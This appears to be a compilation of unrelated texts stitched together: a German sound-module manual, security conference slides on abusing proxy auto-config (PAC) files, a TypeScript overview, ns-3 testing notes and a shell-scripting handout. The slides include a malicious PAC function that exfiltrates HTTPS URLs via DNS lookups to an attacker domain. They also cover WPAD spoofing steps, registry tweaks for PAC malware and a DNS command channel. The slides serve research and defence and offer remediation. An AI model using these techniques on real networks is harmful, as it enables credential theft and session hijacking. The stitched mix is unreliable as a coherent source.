scriptmanual_en
- 格式:pdf
- 大小:412.92 KB
- 文档页数:42
User's Manual Digital Digital Sound SlaveInhaltsverzeichnisEinführung (3)Hardware (5)Schaltplan und Layout (5)Architektur (6)Programmierung (7)Integrierte Voice-Prompts (7)Integrierte Voice-Macros (8)Ansteuerung des Digital Sound Slaves (20)Abbildungsverzeichnis (21)Literaturverzeichnis (22)EinführungDiese Beschreibung richtet sich an Entwickler von Mikrocontroller-Systemen. Zielsetzung hier beschriebenen Digital Sound Slaves ist es, einem Mikrocontroller-gesteuertem Kleinstsystem eine …Stimme“ zu geben und so eine zeitgemäße Benutzerführung auch in kleinen Anwendungen zuermöglichen.Dies ist zumeist mit Board-Mitteln eines MC-Systems nicht, oder nur mitgroßem Aufwand möglich. Häufig konsumiert diese Funktion dann den Großteil der Systemressourcen, wobei die Sound-Wiedergabe meistens ein Kompromiss bleibt.Die Entwicklung des Digital Sound Slaves soll die angesprochenen Nachteile in einfacher Weise beheben.Das Digital Sound Slave besitzt folgende Eigenschaften:•Einfache Programmierung•Wiedergabe von beliebigen WAV-Files und damit gut verständliche Sprachwiedergabe•Einfacher elektrischer Anschluss des Digital Sound Slaves an das MC-System•Einfache Nutzung des Digital Sound Slaves mittels API•Minimale Systembelastung durch die Sound-Wiedergabe•Direkter Betrieb eines Kleinlautsprechers bis 1 WAbbildung 1: Modul-Vorderseite Abbildung 2: Modul-RückseiteAbbildung 3: Modul mit externem LautsprecherAbbildung 4: Beispiel mit PCB-Lautsprecher und Horn (Unterseite)Das Digital Sound Slave ist in der Abbildung mit einem SMD-Miniatur-Lautsprecher mit Horn bestückt. Das Modul verfügt aber auch über einen externen Anschluss für einen Lautsprecher der Wahl.Abbildung 5: Beispiel mit PCB-Lautsprecher und Horn (Oberseite)HardwareDer Analogkreis des Moduls wird in der Regel mit 5 V versorgt um die nominale Leistung von einem Watt zu erreichen. Der Digitalteil des Moduls wird mit 3,3 V direkt versorgt. Soll das komplette Modul mit 3,3 V versorgt werden, so ist der Löt-Jumper entsprechend zu setzen.Schaltplan und LayoutAbbildung 6: SchaltplanAbbildung 7: LayoutArchitekturDas Digital Sound Slave verwendet einen integrierten Signalprozessor ISD2360 (ISD-Chip-Corder) von Fa. Nuvoton zur Signalerzeugung. Dieser Chip kann ohne Verstärker direkt einen 1W Kleinlautsprecher (bei 5V) an den Chipausgängen SPK+ und SPK- betreiben. Ferner ist der Chip mit 3,3-5V (max. 1 W) zu versorgen.Als Interface dienen entweder 5 GPIO Pins, mit denen Voice-Files getriggert (steigende/fallende Flanken) werden können, oder der Chip wird über SPI direkt angesteuert. Die zweite Möglichkeit bietet einen sehr flexiblen Einsatz.Dabei können in dem 2Mbit großen Speicher auf dem Chip ca. 64 Sekunden Voice-Prompts hinterlegt werden.Ein direktes …streamen“ über SPI zur direkten Ausgabe ist ebenfalls möglich. Dies setzt aber große Speicherressourcen in dem Mikrocontroller-System voraus. Dabei verwaltet der Chip-Corder bis zu 3 unabhängige Sound-Kanäle die bei Bedarf überlagert simultan ausgegeben werden.Die Ausgaben werden entweder direkt über Voice-Prompts (Wave-File) aus dem internen Chip-Speicher, oder per SPI-Streaming bedient.Dabei kennt der Chip Voice-Prompts, welche die ultimative Sound-Ressource darstellt und Voice-Macros, mit deren Hilfe Voice-Prompts aneinander gehängt werden können (Script-Sprache z.B. ganze Sätze aus Wortschnipsel). Voice-Macros können neben linearen Abrufen von Voice-Prompts auch Wiederholschleifen oder prozedurale Schleifen abarbeiten und sind damitmächtige Werkzeuge in der Wiedergabetechnik.Der ISD-Chip-Corder funktioniert im Stand-alone Modus, als auch im SPI-Modus (simultan). Der Chip muss aber, bevor er ins Zielsystem eingebracht wird, entsprechend programmiert werden. Dies findet mit der Software …Voice Prompt Editor“ von Nuvoton statt. Diese kann von der Nuvoton-Web-Seite heruntergeladen werden.Für weiterführende Informationen siehe [ISD2360 DESIGN GUIDE].ProgrammierungUm den Einstieg möglichst einfach zu gestalten, ist das Digital Sound Slave bereits mit einem Satz Voice-Prompts und Voice-Macros geladen und kann direkt verwendet werden.Soll dieser Inhalt verändert oder durch einen anderen ersetzt werden, ist das mit der oben erwähnten Software möglich.Integrierte Voice-PromptsVoice-Prompts sind komprimierte und für den ISD2360 aufbereitete Wave-Files. Sie stellen die ultimative Sound-Quelle dar und nehmen erfahrungsgemäß den größten Platz im internen Speicher des ISD2360 ein. Daher muss die Auswahl der zu integrierenden Voice-Prompts mit Bedacht getroffen werden.Allgemein ist eine Sample-Rate von 8kHz bei 16 Bit/sample und Mono zuwählen.Die folgenden Voice-Prompts sind im Auslieferungszustand programmiert.VP Westminster – BigBenDiese Tonaufnahme des Westminster-Glockenspiels wurden als kompletter Satz aller Spielmuster im Internet zum lizenzfreien Download angeboten. Diese wurden dann in die einzelnen Glocken zerlegt und hier nach Glocken geordnet abgespeichert.Dabei gibt es 2 Arten von Samples:1.Anschlag der Glocke mit der Dauer y bis zum nächsten Glockenschlaginnerhalb eines Blocks.2.Anschlag und Ausklingen der Glocke mit der Dauer y + x bis Blockende Siehe auch “Integrierte Voice-Macros“Mit diesem Satz von Voice Prompts kann das komplette Glockenspiel zusammengesetzt werdenIntegrierte Voice-MacrosVoice-Macros sind Skripte, mit denen man Voice-Prompts zusammenhängen kann, so dass komplexe Klangaggregate entstehen. So werden gesprocheneSätzen aus einzelnen Wortschnipseln, oder eine Komposition aus einzelnen Noten zusammengesetzt.VM_POISystem-Macro: Power On InitDieses wird immer nach Spannungswiederkehr von der Hardware gestartet.•Initialisiert GPIO #5 zum Trigger Eingang. Bei steigender Flanke wird Voice-Macro #3 getriggert.•In R7 wird 0x21 hinterlegt, als Vorbesetzung, dass nur initialisierte Aufrufe der Stundenfunktion vorkommen können•Als Fertigmeldung der Initialisierung kommt ein FastBeepVM_PUSystem-Macro: Power UpDieses Makro wird durch das PU-Kommando x10 (SPI) gestartet.•Initialisiert den Signalpfad auf Playback und schaltet den PCM frei•Setzt die Lautstärke auf das Maximum•In R7 wird 0x21 hinterlegt, als Vorbesetzung, dass nur initialisierte Aufrufe der Stundenfunktionen vorkommen können.•In diesem Fall muss …Finish“ gewählt werden, da bei …PD“ der Chip nicht mehr ansprechbar wäre.VM_WAKEUPSystem-Macro: Wake UpDieses Makro wird durch Hardware gestartet und weckt den Chip aus dem Power Down Mode auf. Dies findet dann statt, wenn an einem initialisiertenGPIO-Eingang ein Trigger Ereignis erkannt wird.•Initialisiert den Signalpfad auf Playback und schaltet den PCM frei•Setzt die Lautstärke auf das MaximumVM_GPIO5User-Macro: Aktion bei steigender Flanke an GPIO5Dieses Makro wird bei dem in POI initialisierten Trigger Ereignis an GPIO5 von der Hardware aufgerufen.•Führt das VM mit der #2E aus. Das sind 2 Glockenschläge, kann z.B. als Türglocke verwendet werden.VM_PU_CH0 / 1User-Macro: Platzhalter, derzeit leerVM_SysStartupInitiatedUser-Macro: gesprochener Satz …System Start up Initiated“VM_ShutdownInitInTmUser-Macro: gesprochener Satz …System Shutdown Initiated in T minus“.In den Registern R2, R3, R4 wird jeweils der Index der Sekundenstellen Hunderter, Zehner, Einer übergeben.VM_SysResetSeqInProcessUser-Macro: gesprochener Satz …System Reset in Process“VM_SysShutdownSeqTermiUser-Macro: gesprochener Satz …System Shutdown Sequence Terminated“VM_TelefonXUser-Macro: Klang eines alten Glocken-TelefonVM_EIN / AUSUser-Macro: EIN, derzeit leerVM_SirenVM Westminster – BigBenExkurs Westminster:Das Westminster – Glockenspiel hat eine durchaus komplexe Abfolge von Glockenanschlägen, deren Struktur hier kurz analysiert werden soll.•Die kleinste Einheit des Glockenspiels ist der Glockenschlag.• 4 Glockenschläge mit der Dauer y (= 1,1s) bilden einen Block, der durch die Zeitdauer x (= 2,2s Ausschwingzeit) vom nächstenBlock getrennt ist.Blocklänge = 4 * y + x•Ein Satz ist 1 – 4 Blöcke lang:1st Quarter: Satzlänge = 1 Block Satzlänge = 1 (4 * y + x)2nd Quarter: Satzlänge = 2 Blocks Satzlänge = 2 (4 * y + x)3rd Quarter: Satzlänge = 3 Blocks Satzlänge = 3 (4 * y + x)4th Quarter: Satzlänge = 4 Blocks Satzlänge = 4 (4 * y + x)•Dabei wird die volle Stunde (4th Quarter) mit der Stundenzahl an BigBen-Schlägen quittiert.Dies startet nach einer Wartezeit tw von 1,1s nach Satzende.•Die Zeitdauer zzwischen den Stundenschlägen beträgt 2,2s.•Die Ausschwingdauer zx von BigBen beträgt ca. 5,5sFür den Stundenschlag wird nur das Makro VM_WM_h aufgerufen. Zuvor muss ins Register R7 noch der Wert 0x20 + <Stundenzahl(1..13)> eingeschrieben werden (alles per SPI).1.CFG(R7_L, 0x2<h>)0xB8,0x2E,0x2<h>0x2<h> R7_L2.CFG(R7_H, 0x00)0xB8,0x2F,0x000x00 R7_L3.PLAY # VM_WM_h0xB0,0x00,0x20Spielt VM_WM_hVM_TöneUser-Macro: EIN, derzeit leerVM_SirenVM_00 – 10User-Macro: gesprochenes Wort: Zahl 0 – 10 in EnglishVM Westminster – BigBenExkurse Westminster:Das Westminster – Glockenspiel hat eine durchaus komplexe Abfolge vonGlockenanschlägen, deren Struktur hier kurz gezeigt werden soll.•Die kleinste Einheit des Glockenspiels ist der Glockenschlag.• 4 Glockenschläge mit der Dauer y (= 1,1s) bilden einen Block, der durch die Zeitdauer x (= 2,2s Ausschwingzeit) vom nächstenBlock getrennt ist.Blocklänge = 4 * y + x•Ein Satz ist 1 – 4 Blöcke lang:1st Quarter: Satzlänge = 1 Block Satzlänge = 1 (4 * y + x)2nd Quarter: Satzlänge = 2 Blocks Satzlänge = 2 (4 * y + x)3rd Quarter: Satzlänge = 3 Blocks Satzlänge = 3 (4 * y + x)4th Quarter: Satzlänge = 4 Blocks Satzlänge = 4 (4 * y + x)•Dabei wird die volle Stunde (4th Quarter) mit der Stundenzahl an BigBen-Schlägen quittiert.Dies startet nach einer Wartezeit tw von 1,1s nach Satzende.•Die Zeitdauer z zwischen den Stundenschlägen beträgt 2,2s.•Die Ausschwingdauer zxvon BigBen beträgt ca. 5,5sFür den Stundenschlag wird nur das Makro VM_WM_h aufgerufen. Zuvor muss ins Register R7 noch der Wert 0x20 + <Stundenzahl(1..13)> eingeschrieben werden (alles per SPI).1.CFG(R7_L, 0x2<h>)0xB8,0x2E,0x2<h>0x2<h> R7_L2.CFG(R7_H, 0x00)0xB8,0x2F,0x000x00 R7_LSpielt VM_WM_h3.PLAY # VM_WM_h 0xB0,0x00,0x20VM Tür-Glocken ExtraktVM TöneUser-Macro: EIN, derzeit leerVM_SirenVM_TestDas Test-Voice-Makro ist das letzte Makro das genutzt wird. Es sollte nicht umbenannt, oder in der Sequenz nach vorne geschoben werden, da dieser Name als Ende Marke im Programm genutzt wird.Ansteuerung des Digital Sound SlavesFür die ersten Schritte bei der Integration wird ein ARDUINO-Example inklusive einer Arduino-Library zur Vergnügung gestellt. Dieses kann im Download-Bereich heruntergeladen werden.Der GPIO 5 Anschluss löst bei Betätigung (Verbindung zu GND) ein Test-Macro aus. Dieses demonstriert das zusammensetzen von Wort-Schnipsel zu vollwertige Sätze und gibt auch den kompletten Voice-Prompt-Inhalt des internen Speichers aus. Dadurch ist auch im Stand-alone-Betrieb der programmierte Inhalt des Chips leicht zu prüfen.AbbildungsverzeichnisAbbildung 1: Modul-Vorderseite (3)Abbildung 2: Modul-Rückseite (3)Abbildung 3: Modul mit externem Lautsprecher (4)Abbildung 4: Beispiel mit PCB-Lautsprecher und Horn (Unterseite) (4)Abbildung 5: Beispiel mit PCB-Lautsprecher und Horn (Oberseite) (4)Abbildung 6: Schaltplan (5)Abbildung 7: Layout (6)Literaturverzeichnis[ISD2360 DATA SHEET]ISD2360 Data SheetRev. 1.00, 15.01.2020Nuvoton[ISD2360 DESIGN GUIDE]ISD2360 Design GuideRev. 1.15, 03.08.2016Nuvoton[ISD2360 DEMO USERM]ISD-DEMO2360 User ManualRev. 1.1, 13.04.2016Nuvoton[ISD2360 ESMINIUSB UM]ISD-ES_MINI_USB User ManualRev. 1.0, 18.02.2016Nuvoton[ISD2360 WIN IDE]ISD-VPE2360 for Windows7 64bitIDE-Software... Made in GermaySignalgeneratorenTastköpfePräzisionsverstärkerMessbereichserweiterungenDSP-SystemeDoc. Nr.: 0130-001v1.0, 04.10.2020, Änderungen vorbehalten HUBER SIGNAL PROCESSINGUnternbergstr. 1383278 TraunsteinGermany Tel:+49 (0)861.213978-0 Fax:+49 (0)861.213978-40**********************© HUBER SIGNAL PROCESSING。
Today.Crippling HTTPS with unholy PACItzik Kotler, Amit Klein Safebreach LabsHelp -> About -> Itzik Kotler-15+ years in InfoSec-CTO & Co-Founder of Safebreach-Presented in RSA, HITB, BlackHat,DEFCON, CCC, …-Help -> About -> Amit Klein-25 years in InfoSec-VP Security Research, Safebreach2015-present-CTO Trusteer(acquired by IBM) 2006-2015-Chief Scientist Cyota(acquired by RSA) 2004-2006-Director of Security and Research,Sanctum (now part of IBM) 1997-2004-IDF/MOD (Talpiot) 1988-1997-30+ papers, dozens of advisories againsthigh profile products-Presented in HITB, RSA, CertConf, BlueHat,OWASP, AusCERT, ….TeaserYou're in a potentially malicious network (freeWiFi, guest network, or maybe your owncorporate LAN). You're a security consciousnetizen so you restrict yourself to HTTPS(browsing to HSTS sites and/or using a "ForceTLS/SSL" browser extension). All your trafficis protected from the first byte. Or is it?Roadmap•PAC+WPAD Refresher•Stealing HTTPS URLs over the LAN/WLAN,and why you should care•PAC malware -capabilities, C&C•PAC feature matrix (reference material)•Ideas for remediation and fixPAC RefresherA proxy auto-config(PAC)file•Designates the proxy to use (or direct conn.) for each URL •Javascript based•Must implement FindProxyForURL(url,host),which the browser invokesPAC Examplefunction FindProxyForURL(url, host) {// our local URLs from the domains below don't need a proxy: if (shExpMatch(host, "*")){return "DIRECT";}// All other requests go through port 8080 of .// should that fail to respond, go directly to the WWW:return "PROXY :8080; DIRECT";}PAC Refresher (contd.) -the Javascript “desert”•No window object, no document object -no DOM functions •No XHR•No loading of code via <script> injection•No hitting external resources via <img> injection•etc.,etc., etc.•What is available:•dnsDomainIs, isInNet, isPlainHostName, localHostOrDomainIs, dnsDomainLevels•weekdayRange, dateRange, timeRange, shEpxMatch•dnsResolve, isResolvable•myIpAddress•alert (non-standard, not in all browsers)PAC Refresher (contd.) -obtaining a PAC file•Manual PAC config•Browser config option for PAC•URL/file•Web Proxy Auto Discovery (WPAD)WPAD Refresher•Requires a specific checkbox checked in the browser/systemconfigurationQuite common in enterprises, etc.•First priority: DHCP (IPv4 only)•DHCP option 252 pointing at the PAC URL•Second priority: DNS•Browser fetches http://wpad.domain/wpad.dat•See e.g.https:///askie/2008/12/18/wpad-detection-in-internet-explorer/•Supported by Windows and Mac OS/X: Edge, IE, Firefox, Chrome, Safari. Not supported by iPhone, AndroidHTTPS subversion with malicious PAC -main idea •Scenarios: malicious actor in•Public WiFi(cafe, hotel, airport, …)•LAN (enterprise -lateral movement)•Force the browser to use a malicious PAC•DHCP spoofing/hijacking, sending out option 252•DNS spoofing/hijacking, responding for /^wpad/ queries•Browser requests the PAC file from the attacker’s IP/URL •Browser then exposes the (https://) URLs to the PAC function•FindProxyForURL(url, host)•This is not an attack on TLS/SSL, TLS/SSL versions/features/configurations can’t block it.•Implement exfiltration in the function, using DNS lookups •dnsResolve/ isResolvableMalicious PAC Implementation function exfil_send(msg){var chunk=0;curmsg="."+chunk+"."+exfil_msg_num+"."+exfil_client+"."+tail;curlabelsize=0;for (p=0;p<msg.length;p++){/* Code to take care of long messagesand DNS labels here */byte=msg.charCodeAt(p);curmsg=(Math.floor(byte/16)).toString(16)+(byte%16).toString(16)+curmsg;curlabelsize+=2;}dnsResolve("x"+curmsg)+"";exfil_msg_num++;return exfil_msg_num;}function FindProxyForURL(url, host) {exfil_send(url);return "DIRECT";}Examples: account/resource hijacking•URL path/query tokens•DropBox shared file URL•Google Drive shared file URL (only when originally shared with a non-Google mailbox)•OpenID authentication URLPassword reset URL•etc., etc., etc. …•URL authorization credentials (scheme://username:password@...)•HTTP/HTTPS•FTP•The FTP/HTTP credential theft is an “optimization”•Blindly proxying all traffic through an attacker proxy will cut it•But it’s terribly inefficient…Prior art•WPAD➜PAC for forcing traffic through (malicious) HTTP proxy servers•/?page=Blog&month=2012-07&post=WPAD-Man-in-the-Middle•/download/wpad_weakness_en.pdf•However, while using a malicious proxy works well for HTTP,it doesn’t reveal any plaintext when HTTPS traffic isforwardedPrior art -identical concept•While we were conducting our own research, this very brief answer by Leonid Evdokimov("darkk") showed up in StackExchange(July 27th, 2015):/questions/87499/can-web-proxy-autodiscovery-leak-https-urls•MSc thesis, published May 3rd, 2016: https:///thesis/master.pdf•Also, we were recently made aware that Maxim Andreev (“cdump”) blogged about this concept (in Russian ) on June 4th, 2015:https://habrahabr.ru/company/mailru/blog/259521/(BTW Maxim presents in parallel to us -good luck!)Prior art (our contributions)Our contributions:•Full weaponization(support for long URL, multi-messages, multi-clients)•2-way protocol•Free code•PAC malware concept (beyond stealing HTTP traffic)•PAC feature matrix•All this in English!Attack framework•Spoof DHCP response and/or DNS response for “wpad*”, send attacker’s URL/IP for PAC•Have the attacker’s web server serve the PAC•Set up an attacker controlled DNS server with attacker owned domain as C&C•ProfitUplink (exfiltration) protocol•DNS suffix (domain) owned by the attacker -suffix•Each client (=browser) has a unique ID (can be random) -client_id •Each message has a unique ID (can be incremental) -message_idUplink (exfiltration) protocol•Per a (binary -octets) message•It is first hex-encoded (not so efficient…)•Broken into fragments, each up to 63 characters•Every few fragments that fill a DNS query (total length limit 253), form a chunk, which has achunk ID chunk_id. The chunk is exfiltrated via a DNS query•DNS query format (host name for the browser to query):fragment i.fragment i+1.fragment i+2.fragment i+3.chunk_id.message_id.client_id.suffix •The last chunk is prepended by “x”, to mark end of messageDemo time…$ git clone https:///SafeBreach-Labs/pacdoor.git $ cd pacdoor$ python setup.py install$ pacdoor-h•Downlink •Discussed in part II •eval() for maximum flexibility•Uplink•~100 bytes per DNS query, unoptimized •Packet loss, latency issues The fine print•The existing WPAD problem •Existing WPAD (in-LAN) -intercept PAC resource (offline) and mimic •Missing WPAD (ex-LAN = WiFi) -problem with IE (DIRECT means Local Intranet). Force all traffic through a proxy?•URL Interception quality varies among browsers •Chrome, Firefox -good; IE/Edge/Safari -bad •HTTPS/HTTP Auth credentials (in URL): Firefox•FTP credentials (in URL): Firefox, IE8, SafariSummary•The common belief that HTTPS traffic is secure even when used in a hostile network (compromised LAN, public/untrusted WiFi) is refuted (in the WPAD scenario)•A way to bypass HTTPS, providing access to https:// URLs •Browser has to be configured for WPAD•Assuming access to LAN (public WiFi/lateral movement scenario)•Interception quality is browser-specific•https:// URLs can carry credentials and/or access tokens -thus are sensitive•ftp:// credentials are also supportedPAC malware -main idea•Install PAC locally (from a malware -possibly runs once)•HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = url •(Static) PAC URL supported by iPhone, Android (5.0 and above)•file:// (some browsers) vs. http(s):// (local -Install web server;or remote)•Can tweak registry to calm down IE (the zone problem)•HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = 0•Can tweak registry to have IE report each URL in full•HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableAutoproxyResultCache= 0Prior artSome financial malware (AKA “bankers”) variants install malicious PAC to only send targeted banks’ traffic to their malicious proxy, and to obfuscate their logic:https:///analysis/publications/57891/pac-the-problem-auto-config/https:///blogs/research/banking-malware-uses-pac-file(no interception of HTTPS URLs since the traffic is analyzed at the proxy, not at the PAC script)PAC malware capabilities•PAC can be installed as a local file or UNC file•PAC can be installed as a URL•Local machine URL (by installing a web server on the machine)•Remote URL (on LAN/WiFi or Internet)•URL interception•2-way link (uplink and downlink) over DNS queries and responses •C&C (DNS server) on LAN/WiFi or InternetPAC malware capabilities•alert() messages (IE only)•eval() for maximum flexibility•“Routing” to a proxy (return value from FindProxyForURL)•DDoS against a remote site (IP:port)•DoS (browsing to specific sites) against the local machine (prevent security SW update if done over HTTP/HTTPS)Downlink protocol•3 bytes are encoded as the low significant 3 octets of an IPaddress, returned via dnsResolve()•Messages are numbered, a message can be 1...224-1 bytes •The message length is obtained by resolving len.message_id.suffix •Message data (up to 3 octets) is obtained by resolvingfragment_num.message_id.suffixDemo time…$ git clone https:///SafeBreach-Labs/pacdoor.git $ cd pacdoor$ python setup.py install$ pacdoor -hSummary•Unorthodox installation (PAC only) makes it harder for AV to detect •PAC malware is capable of (browser dependent):•https:// URL interception -account/session/resource hijacking•DoS(website access from local machine), DDoS(against remote sites)•alert()-based phishing•2-way C&C via DNS, flexible execution via eval()Edge 25.10586.0 .0IE1111.0.9600.18376update level11.0.33IE88.0.7601.17514Firefox47.0.1Chrome51.0.2704.106m(2016-07-19)Safari9.1.2(Mac OS/X10.11.6)iPhone9.3.3file:// support By default:noBy default:no yes yes yes no noFindProxyForUrl invocation frequency and data By default:scheme+host only,once percomboBy default:scheme+hostonly, once percomboFull URL,once perscheme+hostFull URL,everytimeFull URL,every timescheme+host only,once perTCP conn.scheme+host only,once perTCP conn.URL credential interception no no ftp://credentialsonlyyes no ftp://credentialsonly(Finder)noAlert destination none Screen popup Screenpopup BrowserconsoleNetlog exception exceptiondnsResolve bug yes yes yes no no no noIdeas forremediation and fixMalcolm KooCC-BY-SA 3.0Remediation•User-level•Disable WPAD in untrusted networks (or in general)•In an untrusted LAN/WiFi, use a browser that exposes as little as possible of the URL to FindProxyForUrl•Corporate level•Avoid using WPAD, and enforce policy to turn it off at the endpoints•Server side•Remove security-related data/tokens from the URL (move them to the body section, cookie, headers, etc.)•Move away from HTTP-Auth (assuming it’s under TLS…)Fix•IETF•Fix WPAD “standard” -force secure PAC retrieval (over HTTPS?)•Standardize PAC -trim the URL to host only, deprecate DNS resolution?•Browser vendors•Restrict PAC functionality -trim the URL to host only, disable DNS resolution?Conclusions•In general•Interception of HTTPS URLs has serious consequences -credential theft, session hijacking, loss of privacy•Additionally -PAC can do phishing (alert), DoS/DDoS•Remote scenario•Trusting PAC retrieved in the clear from unverified external sources for handling secure (HTTPS) traffic is a problematic concept•Difficult to detect locally (AVs, etc.)•PAC malware scenario•Unusual malware “persistence” -not trivially detected•Still very powerful –can obtain more info than the remote attack due to config tweaksQ&A… Don’t forget to fill the feedback form!***************************************@itzikkotlerhttps:///SafeBreach-Labs/pacdoor。
typescript 英文手册Title: TypeScript English ManualIntroduction:TypeScript is a popular programming language developed by Microsoft. It is a statically typed superset of JavaScript that compiles to plain JavaScript code. This manual aims to provide a comprehensive guide to understanding and using TypeScript effectively. Let's dive into the world of TypeScript!Chapter 1: Getting Started1.1 InstallationTo begin using TypeScript, you need to install it on your development environment. Follow the official documentation for installation instructions based on your operating system.1.2 Basic SyntaxLearn the basic TypeScript syntax, including variable declarations, data types, functions, and control flow structures. Understand the importance of type annotations and the benefits they provide in maintaining code quality.Chapter 2: Type Annotations2.1 Primitive TypesExplore TypeScript's support for primitive types such as number, string, boolean, and null/undefined. Understand how to declare and use these types effectively in your code.2.2 Object TypesLearn about object types, including interfaces and classes. Understand how to define custom types and use them to enforce structure and consistency in your codebase.2.3 Arrays, Tuples, and EnumsDiscover TypeScript's powerful array types, tuple types for fixed-length arrays, and enumerated types to represent a set of named constants. Learn how to leverage these types to write more robust code.Chapter 3: Advanced Type System3.1 Union Types and Type GuardsExplore the concept of union types and understand how they allow handling multiple types for a single variable. Learn about type guards and their role in narrowing down the possible types within a union.3.2 Type InferenceDiscover TypeScript's type inference capabilities and how it can automatically determine the types of variables based on their context. Understand when and where to explicitly provide type annotations to improve code readability and maintainability.3.3 GenericsLearn about generic types and functions, which allow writing reusable code by postponing the specification of types until later. Understand how generics enhance code flexibility and promote code reuse.Chapter 4: Modules and Namespaces4.1 Understanding ModulesExplore TypeScript's module system, including importing and exporting modules. Understand the benefits of using modules to organize and encapsulate your code.4.2 NamespacesDiscover how TypeScript's namespaces provide a way to group related code into a single, global container. Learn how to define and use namespaces effectively in your projects.Chapter 5: Compiler Options and Build Tools5.1 Compiler ConfigurationUnderstand TypeScript's compiler options and how they can be configured in your project's tsconfig.json file. Explore various compiler flags and their effects on the compilation process.5.2 Build ToolsLearn about popular build tools, such as webpack or gulp, for automating the TypeScript build process. Understand how to set up a build pipeline to optimize and bundle your TypeScript code for production.Conclusion:This TypeScript English Manual has provided a comprehensive overview of the language, covering its installation, basic syntax, type system, modules, compiler options, and build tools. By mastering TypeScript,developers can write more robust and maintainable JavaScript code. Continue exploring the official documentation and practicing TypeScript in real-world projects to enhance your skills further. Happy coding!。
Manual——Test(翻译1)LTE Manual ——Logging(翻译)(本⽂为个⼈学习笔记,如有不当的地⽅,欢迎指正!)1.17.3 Testing framework(测试框架)ns-3 包含⼀个仿真核⼼引擎、⼀系列模块、例⼦程序和测试。
随着时间的推移,⼀些新的贡献者贡献出模型、测试和例⼦。
Python 测试程序 test.py 作为测试执⾏管理者;test.py 运⾏测试代码和例⼦来寻找 regressions,输出结果有很多种形式,管理代码覆盖分析⼯具。
此外,我们对buildslaves进⾏分层,buildslaves 是⾃动化创建的 robots,通过在不同的系统中和使⽤不同的配置选项运⾏测试框架,buildslaves 能执⾏健壮性测试。
(1)Buildslavesns-3 测试的最⾼级别是 buildslaves (build robots)。
如果你不熟悉该系统,可以参考 ——jenkins 是⼀个开源的⾃动化系统,允许 ns-3 ⽇常重建和测试。
通过在很多不同系统上运⾏ buildbots(⼀种⾃动化构建⼯具),我们可以确保 ns-3 在它⽀持的所有系统上正确地构建和执⾏。
⽤户(和开发者)通常不会与 buildslave 系统打交道,除了读取它的关于测试结果的消息。
如果在⼀个⾃动化构建和测试的⼯作中检测到 FAIL, buildbot 会发送邮件给ns-commits mailing 列表。
该邮件看起来类似于:In the full details URL shown in the email, one can find links to the detailed test output。
(在邮件显⽰的详细 URL 信息中,⽤户可以找到详细测试输出的链接。
)如果没有错误的话,buildslave 系统会默默执⾏它的⼯作,并且系统每天会进⾏构建和测试循环来验证⼀切是否 ok。
Introduction to Shell ScriptingLecture1.Shell scripts are small programs. They let you automate multi-step processes, andgive you the capability to use decision-making logic and repetitive loops.2.Most UNIX scripts are written in some variant of the Bourne shell. Older scriptsmay use /bin/sh (the ‘classic’ Bourne shell). We use bash here.3.Consider this sample script (you’ve seen it before in the PATH example). It canbe found at ~unixinst/bin/progress.#! /bin/bash## Sample shell script for Introduction to UNIX class.# Jason R. Banfelder.# Displays basic system information and UNIX# students' disk usage.## Show basic system informationecho `hostname`: `w | head -1`echo `who | cut -d" " -f1 | sort | uniq | \grep "^unixst" | wc -l` students are logged in.## Generate a disk usage report.echo "-----------------"echo "Disk Usage Report"echo "-----------------"cd /home# Loop over each student's home directory...for STUDENT_ID in `ls -1d unixst*`do# ...and show how much disk space is used.du -skL /home/$STUDENT_IDdonea.All scripts should begin with a ‘shebang’ (#!) to give the name of theshell.ments begin with a hash.c.You can use all of the UNIX commands you know in your scripts.d.The results of commands in backwards quotes (upper-left of yourkeyboard) are substituted into commands.e a $ before variable names to use the value of that variable.f.Note the for loop construction. See the Introduction to UNIX manualfor details on the syntax.4.Scripts have to be executed, so you need to chmod the script file. Use ls –lto see the file modes.Exercise1.Write a script to print out the quotations from each directory.a.Did you write the script from scratch, or copy and modify the exampleabove?2.Create a subdirectory called bin in your home directory, if you don’t alreadyhave one. Move your script there.3.Permanently add your bin directory to your PATH.a.It is a UNIX tradition to put your useful scripts and programs into adirectory named bin.4.Save your script’s output to a file, and e-mail the file to yourself.a.*********************.edu<AllMyQuotations.txtb.We hope you enjoy this list of quotations as a souvenir of this class.More Scripting TechniquesLecture1.As you write scripts, you will find you want to check for certain conditions beforeyou do things. For example, in the script from the previous exercise, you don’twant to print out the contents of a file unless you have permission to read it.Checking this will prevent warning messages from being generated by yourscripts.a.The following script fragment checks the readability of a file. Note thatthis is a script fragment, not a complete script. It won’t work by itself(why not?), but you should be able to incorporate the idea into your ownscripts.if [ -r $STUDENT_ID/quotation ]; thenechocat $STUDENT_ID/quotationfib.Note the use of the if…fi construct. See the Introduction to UNIXmanual that accompanies this class for more details, including usingelse blocks.i.In particular, note that you must have spaces next to the bracketsin the test expression.c.Note how the then command is combined on the same line as the ifstatement by using the ; operator.d.You can learn about many other testing options (like –r) by reading theresults of the man test command.2.The read command is useful for reading input (either from a file or from aninteractive user at the terminal) and assigning the results to variables.#! /bin/bash## A simple start at psychiatry.# (author to remain nameless)echo "Hello there."echo "What is your name?"read PATIENT_NAMEecho "Please have a seat, ${PATIENT_NAME}."echo "What is troubling you?"read PATIENT_PROBLEMecho -n "Hmmmmmm.... '"echo -n $PATIENT_PROBLEMecho "' That is interesting... Tell me more..."a.Note how the variable name is in braces. Use braces when the end of thevariable name may be ambiguous.3.The read command can also be used in a loop to read one line at a time from afile.while read line; doecho $line<your script code here>done < input.txta.You can also use [] tests as the condition for the loop to continue orterminate in while commands.b.Also see the until command for a similar loop construct,4.You can also use arguments from the command line as variables.while read line; doecho $line<more script code here>done < $1a.$1 is the first argument after the command, $2 is the second, etc. Exercise1.Modify your quotation printing script to test the readability of files before tryingto print them.Scripting ExpressionsLecture1.You can do basic integer arithmetic in your scripts.a.total=$(( $1 + $2 + $3 + $4 + $5 )) will add the first fivenumerical arguments to the script you are running, and assign them to thevariable named total.b.Note the use of the backwards quotes.i.Try typing echo $(( 5 + 9 )) at the command line.ii.What happens if one of the arguments is not a number?iii.You can use parentheses in the usual manner within bash mathexpressions.1.gccontentMin=$(( ( $gcMin * 100 ) / $total )) Exercise1.When we learned about csplit, we saw that we had to know how manysequences were in a .fasta file to properly construct the command.a.Write a script to do this work for you.#! 